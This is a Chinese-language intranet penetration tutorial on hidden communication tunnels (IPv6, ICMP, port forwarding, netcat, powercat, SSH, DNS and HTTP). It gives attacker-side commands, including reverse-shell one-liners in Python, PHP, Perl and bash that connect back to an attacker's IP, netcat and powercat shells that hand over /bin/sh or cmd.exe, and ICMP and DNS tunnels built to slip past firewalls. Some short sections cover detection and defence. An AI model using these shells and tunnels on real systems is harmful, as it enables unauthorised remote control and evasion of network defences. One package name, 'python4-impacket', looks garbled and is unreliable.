内网渗透-隧道隐藏
[toc]
隐藏通信隧道技术
当我们进入内网完成信息收集后,接下来就要判断内网的连通性(流量能否进出),该技术通常用于在访问受限的内网环境中完成内网之内、内网与公网之间安全、稳定的数据传输。
在最简单的情况下,两台主机之间数据的交换建立在TCP/IP协议之上,也就是说知道了IP、建立了TCP连接,那么两台主机便可以进行数据传输。
但在大多数情况下,内网的环境存在多种边界设备以及入侵检测装置的限制,它们会对主机间或者内网与外网之间通信的流量进行检测,如果存在异常就会进行拦截,这无疑给内网渗透增加了难度,而隐藏通信隧道技术就是为了绕过各种边界设备的封锁,从而完成主机间或内网与外网之间的通信。
常见隧道
网络层:IPV6隧道、ICMP隧道
传输层:TCP隧道、UDP隧道、端口转发
应用层:SSH隧道、HTTP(S)隧道、DNS隧道
网络层
1.IPV6隧道
类型
- IPV6 over IPV4隧道,把IPV6报文封装到IPV4报文中,使IPV6的流量可以穿越IPV4网络
- IPV4 over IPV6隧道,把IPV4报文封装到IPV6中,使IPV4的流量可穿越IPV6
工具:6tunnel(kali自带)
靶机:winserver2008
攻击机:kali
首先要开启靶机的IPV6
之后查看靶机的ipv6地址,假设为aaaa:bbbb:cccc:dddd
在kali:
sudo su
6tunnel -4 80 aaaa:bbbb:cccc:dddd%eth080
##将靶机的80端口(ipv6)转发到本地的80端口(ipv4)
之后访问本地的80端口就可访问目标机的服务
2.ICMP隧道
两台机器间,除了允许互ping,其他的TCP/UDP端口一律不允许,此时可以考虑使用ICMP进行穿透
一般通信都需要端口的开启,ICMP则不需要开放任何端口。
渗透测试中,如果防火墙对各种上层协议(HTTP.HTTPS,DNS等)的数据包进行了封锁,那么我们可以尝试一下网管常常漏掉的ICMP协议包,我们可以将TCP数据包封装到ICMP数据包中,如果防火墙不对ICMP包进行拦截,那么我们便可以实现对防火墙的突破
原理
Windows系统默认传输32bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi
,ping包的大小是可以改变的,但是内容依旧不变,循环。
Linux系统默认传输48bytes,头信息比较复杂,但是内容也是固定!”#$%&’()+,-./01234567
由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。
通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。简单说就是,改变操作系统默认填充的Data,替换成我们自己的数据。
ICMP隐蔽隧道的原理就是:替换Data部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP协议(主要是Request和Reply包)
缺点:
ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低 利用隧道传输时,需要接触更低层次的协议 ,这就需要高级用户权限。
检测
-
一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生大量 ICMP 数据包。
-
ICMP隧道数据包中DATA 往往大于 64 比特
-
请求包和响应包内容不一致而正常的icmp数据包里,请求和回应部分数据是一致的
-
检查ICMP数据包的协议与标签。例如,icmptunnel会在所有的ICMP payload前添加”TUNL”标记来识别隧道
icmpsh
工具:icmpsh
download:https://github.com/bdamele/icmpsh
需要python的impacket类库:apt-get install python4-impacket
由于icmpsh要代替系统本身的ping应答,所以要关闭一下系统的ping应答,否则工具将无法稳定运行
sysctl -w net.ipv4.icmp_echo_ignore_all=1
之后跑run.sh脚本即可,输入靶机与攻击机IP后会给出要在靶机上运行的指令
执行后即可回弹shell
pingtunnel
网络的拓扑:
攻击机:192.168.1.4
web服务:192.168.1.5
数据库服务器:192.168.1.2
可访问web服务,但不能访问数据库服务器;web服务器只能通过icmp访问数据库服务器。
工具:pingtunnel
make &make install
在web服务器上也要装,之后ptunnel -x aaa
(在web服务器上开启一个密码为aaa的icmp隧道)
在攻击机上:ptunnel -p 192.168.1.5 -lp 1080 -da 192.168.1.2 -dp 3389 -x aaa
(当访问攻击机的1080端口时,数据库服务器3389端口的数据便会以web服务器为中转,通过刚刚搭建好的以aaa为密码的ICMP隧道传送到攻击机的1080端口上)
传输层
1.端口转发
工具:lcx
download:https://github.com/yw9381/lcx
lcx的原理就是搭建Socket隧道,一个正常的Socket隧道必须具备两端:客户端、服务端,服务端开启监听端口,客户端传入服务端的IP与端口,主动与服务端连接
攻击机:192.168.1.2
在靶机上:lcx.exe -slave 192.168.1.2 4444 127.0.0.1 3389
(将本机的3389端口转发到攻击机的4444端口)
在攻击机上:./portmap -m 2 -p1 4444 -h2 192.168.1.2 -p2 5555
(将本地的4444端口接收的数据转发到5555端口)
然后访问本机的5555端口
kali下可:rdesktop "127.0.0.1:5555"
win下直接远程桌面链接:127.0.0.1:5555
2.netcat
nc -help
-p 指定端口
-v 显示细节
-u 使用UDP传输协议
-l 监听模式
-w 设置超时时间
获得shell
正向shell
正向连接使用频率较少,因为这种shell很容易被各种边界设备所拦截
靶机中:nc -lvp 4444 -e /bin/sh
(把/bin/sh发送给请求本机4444端口的中断)
攻击机上:nc 192.168.1.2 4444
反向shell
受害及主动来连接攻击机,这种方法在渗透测试中更为常用,因为它可以突破许多边界设备的封锁
攻击机上:nc -lvp 5555
靶机上: nc 192.168.1.4 5555 -e /bin/sh
这是在靶机上已经装了nc攻击,若没装的话,可使用其他来反弹shell:
######## 1.用pyhton反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",攻击机监听的端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
######## 2.php反弹shell
php -r '$sock=fsockopen("攻击机ip",攻击机监听的端口);exec("/bin/bash -i <&3 >&3 2>&3");'
######## 3.perl反弹shell
perl -e 'use Socket;$i="攻击机ip";$p=攻击机监听端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
######## 4.bash反弹shell
bash -i >& /dev/tcp/192.168.1.4(攻击机ip)/6666 0>&1
将受害机上的输入与输出以TCP流的形式重定向到攻击机的6666端口
3.Powercat
download:https://github.com/besimorhino/powercat
工具下载后需要导入powercat.ps1脚本后才可以正常使用powercat
执行
Import-Module .\powercat.ps1
如果权限不够需要修改权限:
Set-ExecutionPolicy RemoteSigned
部分参数:
-c 指定一个ip地址
-p 指定一个端口
-v 显示详情
-l 监听模式
-e 程序重定向
正向链接
powercat -l -p 8888 -e cmd.exe -v
##这条命令的意思是把cmd.exe数据包发送给请求本机8888端口的主机
攻击机:
nc 192.168.1.2 8888 -vv
反向链接
攻击机先监听本机5555端口nc -lpvv 5555
靶机:
powercat -c 192.168.1.4 -p 5555 -v -e cmd.exe
应用层
1.ssh
常见参数:
-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口
网络拓扑:
攻击机:192.168.1.4
web服务:192.168.1.5
数据库服务器:192.168.1.2
实验环境:攻击机无法访问数据库服务器,可以访问web服务器且已获得web服务器的权限,web服务器和数据库服务器可以互相访问
实验目标:通过本地端口转发,访问攻击机本地的5555端口便可以打开数据库服务器的远程桌面
1.本地转发
在攻击机上:
ssh -CfNg -L 5555:192.168.1.2:3389 root@192.168.1.5
(这条命令的意思就是攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机)
之后会输入web服务器的密码,由于是静默模式,可以本地查看5555端口是否被监听来检查通道的建立是否正常
netstat -tulnp | grep "5555"
接下来攻击机访问本机5555端口即可打开数据库的远程桌面:
rdesktop 127.0.0.1:5555
2.远程转发
在web服务器上:
ssh -CfNg -R 5555:192.168.1.2:3389 root@192.168.1.4
(这条命令的意思是此时的web服务器虽然依旧是跳板,但是无论是连接数据库服务器的3389还是去连接攻击机的5555都是web服务器主动发起)
之后输入攻击机的密码,在攻击机访问本地的5555端口
rdesktop 127.0.0.1:5555
3.动态转发
在攻击机上:
ssh -CfNg -D 6000 root@192.168.1.5
(搭建了一个动态的SOCKS代理通道)
之后输入web服务器的密码,查看是否链接成功netstat -tulnp | grep ":6000"
然后在本地浏览器设置好socks代理就可访问数据服务器上开放的web服务
2.DNS隧道
原理:
在后门程序进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果,如果互联网上有一台攻击者设置的服务器,那么服务器就可以依靠域名解析的响应进行数据包的交换,从DNS协议的角度来看,这样的操作只是反复查询某个或者某些特定的域名并且得到解析结果,但其本质是,DNS预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令,从而将其他协议封装在DNS协议中进行传输。
DNS隧道分为两种:
直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。
dns2tcp
dns2tcp是一个利用DNS隧道转发TCP连接的工具,是由Olovier Dembour和Nicolas Collignons开发,使用C语言编写。支持DNS协议KEY和TXT类型的请求。使用此工具不需要额外安装TUN/TAP,可用性和实用性很强。
配置文件中的resources里面配置的是dns2tcp供客户端使用的资源。作用是:客户端在本地监听一个端口,并指定使用的资源,当有数据往端口传送后,dns2tcp客户端将数据用DNS协议传动到服务器,然后服务器将数据转发到对应的资源配置的端口中。
启动DNS2TCP客户端的命令如下; dns2tcpc -c -k pass -l 2222 -d 1 -r ssh -z ns1.abc.com 其中:-c表示启用数据压缩;-d表示启动调试,1为调试等级;-l表示监听本地端口,2222为端口名;-r为使用服务端上的哪个资源,ssh为资源名,可以为http;-z后的ns1.abc.com为前面配置的NS记录的域名。
然后就可以在内网主机192.168.32.132访问本地2222端口,测试成功,可以访问外网主机的ssh资源。 类似的方法,选择http然后将浏览器的代理服务器地址设为127.0.0.1:8118,代理类型为HTTP代理,也可以通过DNS隧道上网了。
原理是通过DNS请求头域名的信息的TXT记录加密传输信息,可以看到DNS的查询请求的域名信息前的一串数据,里面就是加密过后的交互数据。DNS隧道建立后,client还是会不断地发包给server心跳包,确认服务器端处于存活状态,保证传输的顺畅。
client通过TXT类型记录的域名前缀来发出数据,采用的是base64加密的方式。
从发包行为上可以发现,在进行传输数据这种大量数据交互操作的情况
iodine
与同类工具相比,iodine具有以下特点:
- 下行流量不编码(下行流量是指流出服务器的流量,s to c)
- 强制密码
- 支持同一网段之间的隧道
- 支持多种dns记录格式
Iodine默认使用TXT和NULL类型发送数据,支持NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型。
iodine -fP passwd 96.45.188.252 dnsns.hackbiji.top
如果发生在内网,你无法访问外网IP(96.45.188.252)的时候,可以去掉IP地址,直接通过内网的DNS服务器帮你请求,依然能达到建立隧道的效果。
iodine -fP hackbjipasswd dnsns.hackbiji.top
原理:
通过 TAP 虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同—个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。
防御DNS隧道
i)禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
ii)虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻传人和传出流量中的TXT请求。
iii)跟踪用户的 DNS查询次数。如果达到阅值,就生成相应的报告
iv)阻止ICMP
3.HTTP隧道
原理
通过HTTP协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200,表示验证通过。此外HTTP隧道是没有进行加密
的,不安全的,一般再嵌套一个SSH安全隧道
场景
- 内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网
- 内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量
- 服务器处于内网,可以访问外部网络
检测
- 基于签名的检测,通过检测HTTP协议数据包中特定的数据式样来判断是否是可以的HTTP数据包
- 基于协议的检测,很多HTTP隧道传输时只是简单的一个HTTP协议封装,加上了一个HTTP头部,而正常的HTTP协议是非常复杂的
- 基于行为的检测,通过数据包大小、数量、会话时长等,基于这些特征采取数据挖掘技术对其进行建模检测